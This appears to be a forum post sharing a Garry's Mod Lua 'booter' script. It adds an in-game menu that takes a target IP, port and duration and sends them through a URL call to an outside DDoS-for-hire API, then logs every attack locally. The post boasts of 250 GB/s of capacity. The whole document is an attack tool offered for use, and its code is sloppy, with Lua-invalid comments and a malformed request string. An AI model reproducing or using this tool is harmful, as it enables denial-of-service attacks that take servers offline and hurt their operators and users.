I wrote this in around 5 minutes, it uses a very private API that is hosted on an offshore server in Santa Monica.
Total network = 250 GB/s
Code:
local boot = {}
boot["url"] = "missiontech-api.com" // api website url
boot["key"] = "maddafakka" // api key (free public one)
boot["logdir"] = "gmodbooterapi" // data/gmodbooterapi/
boot["logpath"] = "attack_log" // gmodbooterapi/attack_log/
function boot:LogAction( msg )
if !file["IsDir"]( boot["logdir"], "DATA" ) then
MsgN( "Creating directory: " .. boot["logdir"] )
file["CreateDir"]( boot["logdir"], "DATA" )
end
if !file["Exists"]( boot["logdir"] .. "/" .. boot["logpath"], "DATA" ) then
MsgN( "Creating file: " .. boot["logdir"] .. "/" .. boot["logpath"] )
file["Write"]( boot["logdir"] .. "/" .. boot["logpath"] .. "/log.txt", "DATA" )
end
file["Append"]( boot["logdir"] .. "/" .. boot["logpath"] .. "/log.txt", "[" .. os.time() .. "]" .. msg )
end
function boot:Attack( ip, port, time )
print( "Attempting to attack " .. ip .. ":" .. port .. " for " .. time .. " seconds." )
gui.OpenURL( boot["url"] .. "/send.php?key=" .. boot["key"] .. "={$" .. ip .. "]&time={$" .. time .. "}&port={$" .. port .. "}" )
print( "Attack sent! Using api: " .. boot["url"] .. "/send.php?key=" .. boot["key"] .. "={$" .. ip .. "]&time={$" .. time .. "}&port={$" .. port .. "}" )
boot:LogAction( "Attack sent to: " .. ip .. ":" .. port .. " for " .. time .. " seconds, using api: " .. boot["url"] .. "/send.php?key=" .. boot["key"] .. "={$" .. ip .. "]&time={$" .. time .. "}&port={$" .. port .. "}" )
end
concommand.Add( "boot_menu", function()
local bootMenu = vgui.Create( "DFrame" )
bootMenu:SetTitle( "gmod booter api" )
bootMenu:SetSize( 300, 250 )
bootMenu:SetDraggable( true )
bootMenu:ShowCloseButton( true )
bootMenu:Center()
bootMenu:SetVisible( true )
bootMenu:MakePopup()
local bootSheet = vgui.Create( "DPropertySheet", bootMenu )
bootSheet:SetPos( 2, 20 )
bootSheet:SetSize( bootMenu:GetWide() - 4, bootMenu:GetTall() - 22 )
local Hub = vgui.Create( "DLabel" )
Hub:SetParent( bootSheet )
Hub:SetPos( 0, 10 )
Hub:SetText( "" )
local IPText = vgui.Create( "DLabel" )
IPText:SetParent( bootSheet )
IPText:SetPos( 130, 20 )
IPText:SetText( "Host IP" )
IPText:SetTextColor( Color( 0, 0, 0, 255 ) )
IPText:SetFont( "DefaultBold" )
local IP = vgui.Create( "DTextEntry" )
IP:SetParent( bootSheet )
IP:SetPos( 10, 40 )
IP:SetSize( bootSheet:GetWide() - 20, 15 )
IP:SetText( "IP Address" )
IP:SetMultiline( false )
local PortText = vgui.Create( "DLabel" )
PortText:SetParent( bootSheet )
PortText:SetPos( 125, 60 )
PortText:SetText( "Host Port" )
PortText:SetTextColor( Color( 0, 0, 0, 255 ) )
PortText:SetFont( "DefaultBold" )
local Port = vgui.Create( "DTextEntry" )
Port:SetParent( bootSheet )
Port:SetPos( 10, 80 )
Port:SetSize( bootSheet:GetWide() - 20, 15 )
Port:SetText( "IP Port" )
Port:SetMultiline( false )
local TimeText = vgui.Create( "DLabel" )
TimeText:SetParent( bootSheet )
TimeText:SetPos( 115, 100 )
TimeText:SetText( "Attack Time" )
TimeText:SetTextColor( Color( 0, 0, 0, 255 ) )
TimeText:SetFont( "DefaultBold" )
local Time = vgui.Create( "DTextEntry" )
Time:SetParent( bootSheet )
Time:SetPos( 10, 120 )
Time:SetSize( bootSheet:GetWide() - 20, 15 )
Time:SetText( "Time (In seconds)" )
Time:SetMultiline( false )
local Start = vgui.Create( "DButton" )
Start:SetParent( bootSheet )
Start:SetText( "Attack" )
Start:SetPos( 100, 190 )
Start:SetSize( 100, 30 )
Start.DoClick = function()
boot:Attack( IP:GetValue(), Port:GetValue(), Time:GetValue() )
bootMenu:Close()
end
bootSheet:AddSheet( "Hub", Hub, "gui/silkicons/user", false, false, "Main booting features." )
end )
MsgN( "GMod booter API loaded! Use boot_menu to open the menu." )